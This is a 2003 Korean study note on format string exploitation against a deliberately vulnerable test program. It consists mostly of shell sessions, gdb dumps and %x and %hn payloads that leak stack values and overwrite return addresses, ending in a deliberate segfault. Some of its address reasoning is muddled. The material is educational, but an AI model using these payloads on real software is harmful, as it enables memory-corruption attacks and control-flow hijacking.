-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-
제목 : 포맷스트링 버그 활용 정리

작 성 자 : ttongfly@realskulls.org2003. 11. 17

홈페이지 : http://ttongfly.realskulls.org

참고문서 : 포멧스트링 버그 100% 활용하기 vol.1 -naska21
-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-

포맷스트링 버그에 관한 개념은 다른 문서를 참고하길 바란다.

이 문서는 개인적인 스터디 정리를 목적으로 작성되었다.

 

테스트 환경은 다음과 같다.

[root@ttongfly study]# gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs
Configured with: ../configure –prefix=/usr –mandir=/usr/share/man –infodir=/u
sr/share/info –enable-shared –enable-threads=posix –disable-checking –with-s
ystem-zlib –enable-__cxa_atexit –host=i386-redhat-linux
Thread model: posix
gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

[root@ttongfly study]# uname -a
Linux ttongfly.net 2.4.22-ttongfly #2 2003. 10. 31. (금) 19:35:28 KST i686 i686
i386 GNU/Linux

[root@ttongfly study]#

포맷 스트링 버그의 장점은 그 특징을 이용하여 스택을 덤프해서 볼 수 있다는데 커다란
장점이 있다.

[root@ttongfly study]# cat fsb1.c
#include stdio.h

func(char *str)
{
printf(str);
}

main(int argc, char **argv)
{
func(argv[1]);
}

[root@ttongfly study]# gcc -o fsb1 fsb1.c

다음과 같은 명령으로 스택의 내용을 덤프 받을수 있다. 아래는 8개의 값을 덤프 받는다.

[root@ttongfly study]# ./fsb1 `perl -e \’print “%9x”x8\’`
0 4003a93180482a6 40159f78 40159980 bffffab8″804835e” bffffc03

[root@ttongfly study]# objdump -d fsb1

fsb1: file format elf32-i386

Disassembly of section .init:

0804833e main:
804833e: 55push %ebp
804833f: 89 e5 mov%esp,%ebp
8048341: 83 ec 08sub$0x8,%esp
8048344: 83 e4 f0and$0xfffffff0,%esp
8048347: b8 00 00 00 00mov$0x0,%eax
804834c: 29 c4 sub%eax,%esp
804834e: 83 ec 0csub$0xc,%esp
8048351: 8b 45 0cmov0xc(%ebp),%eax
8048354: 83 c0 04add$0x4,%eax
8048357: ff 30 pushl(%eax)
8048359: e8 ca ff ff ffcall 8048328 func
804835e: 83 c4 10add$0x10,%esp
~~~~~~
8048361: c9leave
8048362: c3ret
8048363: 90nop

804835e가 func의 리턴값임을 알 수 있다.

위에서 제시한 소스는 printf(str); 로 스트링을 출력함으로써 문자열 길이에 대한 제한이
없었다.

그래서 모든 스택 및 환경변수까지 모두 덤프해 볼 수 있지만, 대부분의 프로그램은 스트링
길이에 제한을 두고 있으므로 위와같은 방법을 적용하는데는 한계가 있다.

그래서 등장한것이 $-flag를 써서 스택을 덤프하는 방법이다. 사용법은 아래와 같다.

[root@ttongfly study]# ./fsb1 %1\\$8x
0
[root@ttongfly study]# ./fsb1 %2\\$8x
4003a931
[root@ttongfly study]# ./fsb1 %3\\$8x
80482a6
[root@ttongfly study]# ./fsb1 %4\\$8x
40159f78
[root@ttongfly study]# ./fsb1 %5\\$8x
40159980
[root@ttongfly study]# ./fsb1 %6\\$8x
bffffac8
[root@ttongfly study]# ./fsb1 %7\\$8x
804835e
[root@ttongfly study]# ./fsb1 %8\\$8x
bffffc15

사용방법은 %(숫자:아규먼트)$(%를 뺀문자열) 이다.
그리고 $의 경우는 쉘상에서 특수문자이기 때문에 앞에 \\를 붙여준다

그리하여 $숫자\\$8x가 되는것이다.

[root@ttongfly study]# ./fsb1 `perl -e \’print “%9x”x20\’`
0 4003a93180482a6 40159f78 40159980 bffffa98804835e bffffbde bffffae4 bffffa98
804836e 40159980 40015920 bffffab8 4003aa072 bffffae4 bffffaf0 40015dec2

위의 두가지 덤프내용을 보면 7번째 인자는 모두 804835e를 가르키고 있다. 이것은 func()의 ret값으로
모두 일치한다.

여기서 804835e라는 func의 ret값의 바로 전값이 func()의 sfp이며 main의 ebp이기도 하다.
main의 ebp 에 4를 더한값이 바로 main()의 ret값이기도 하다.

그런데 func의 sfp이며 main의 ebp가 되어야 할 값이 위의 두가지 방법의 덤프를 살펴보면 서로 다른값을
가지고 있음을 알 수 있다.

그리고 804835e의 바로전값은 6번째 인자값이 첫번째 덤프의 경우 bffffac8을 가르키고 있고
두번째의 경우 bfffa98을 가르키고 있다.

그렇다면 메모리를 덤프해서 804835e값의 전값이 bffffac8인지 bffffa98인지 확인해 보도록 하겠다.

일단 func함수만 덤프해서 보면..

[root@ttongfly study]# gdb -q fsb1

(gdb) disass func
Dump of assembler code for function func:
0x08048328 func+0:push %ebp
0x08048329 func+1:mov%esp,%ebp
0x0804832b func+3:sub$0x8,%esp
0x0804832e func+6:sub$0xc,%esp
0x08048331 func+9:pushl0x8(%ebp)
0x08048334 func+12: call 0x8048268 printf
0x08048339 func+17: add$0x10,%esp
0x0804833c func+20: leave
0x0804833d func+21: ret
End of assembler dump.

(gdb) b *func+21
Breakpoint 1 at 0x804833d

(gdb) r
Starting program: /root/study/fsb1

Breakpoint 1, 0x0804833d in func ()
(gdb) info reg ebp
ebp0xbffffae8 0xbffffae8
(gdb) info reg esp
esp0xbffffacc 0xbffffacc

스택의 범위는 0xbffffacc부터 0xbffffae8임을 알 수 있다.
스택값을 살펴보면

(gdb) x/21x 0xbffffacc
0xbffffacc: 0x0804835e0x000000000xbffffb340xbffffae8
~~~~~~~
0xbffffadc: 0x0804836e0x401599800x400159200xbffffb08
0xbffffaec: 0x4003aa070x000000010xbffffb340xbffffb3c
0xbffffafc: 0x40015dec0x000000010x080482780x00000000
0xbffffb0c: 0x080482990x0804833e0x000000010xbffffb34
0xbffffb1c: 0x08048364
(gdb)

찾았다.. ret값이 들어있는 스택의 주소는 바로 0xbfffacc이다.

앞서 살펴보았던 포맷스트링 덤프값의 경우는 두가지 방법은 전자의 방법으로 하여야지만 ret값을
찾을 수 있다는 걸 알 수 있었다.

자 우리가 포맷스트링으로 찾은 0xbffffac8(func의 sfp, main의 ebp)에 4를 더한 main의
ret값 0xbffffacc가 변조 가능한지 공격해 보도록 하겠다.

 

#include stdio.h

func(char *str)
{
printf(str);
}

main()
{
char str[40];
fgets(str, 39, stdin);
func(str);
}

[root@ttongfly study]# ./fsb2
AAAA%6$8x
AAAAbffffac8

[root@ttongfly study]# ./fsb2
AAAA%7$8x
AAAA 80483c9

0xbffffacc가 ret값.

[root@ttongfly study]# (printf “\\xcc\\xfa\\xff\\xbf%%12\\$hn”)|./fsb2
세그멘테이션 오류

ret값을 찾았다.

참조문서에 나와있는데로 func()의 ret도 바꿔보도록 하자.

우선 main()의 ret값이 몇번째 인자에해당하는지 알아야 한다.
좀전 덤프결과를 보면 12번째부터 str[]이 시작되며 버퍼가 40바이트 이므로 +10
main의 sfp가 있으므로 +1, ebp와의 더미값이 8바이트므로 +2
12+10+1+2=25 이므로 25번째 + a에 main()의 ret이 있을것으로 사료된다.

[root@ttongfly study]# ./fsb2
%25$8x
40015920
[root@ttongfly study]# ./fsb2
%26$8x
bffffae8
[root@ttongfly study]# ./fsb2
%27$8x
4003aa07
[root@ttongfly study]# ./fsb2
%28$8x
1

main()의 ret값은 보통 0x42나 0x40으로 시작하며, 바로 뒤에 인자의 갯수(argc)와 인자스
트링의 더블 포인터 값(**argv)가 저장되기 때문에 쉽게 알아 볼 수 있다

여기서는 인자가 파일명 하나임으로 28번째에 인자값이 있음을 알 수 있으므로
main의 ret값은 0x4003aa07이란걸 추측할 수 있다.

자 그럼 27번째에 main의 ret값이 있음을 알았다.
func의 ret은 7번째에 있었기 때문에 20번 만큼 차이가 있다.

하나의 주소값은 4바이트만큼씩 차지함으로 80바이트만큼의 차이가 있음을 알 수 있다.

func()의 주소 0xbffffacc – 80 = 0xbfffa7c

저 주소로 공격을 해보자. 세그멘테이션 오류가 나면 성공이다.

[root@ttongfly study]# (printf “\\x7c\\xfa\\xff\\xbf%%12\\$hn”)|./fsb2
세그멘테이션 오류

성공했다. ^^;

 

이로써 특정함수를 호출했을경우 각각의 sfp(ebp)와 ret값을 찾는 방법에 대해서 공부해
보았다.

허접하지만 여기서 일단 정리 끝.

There are currently no comments.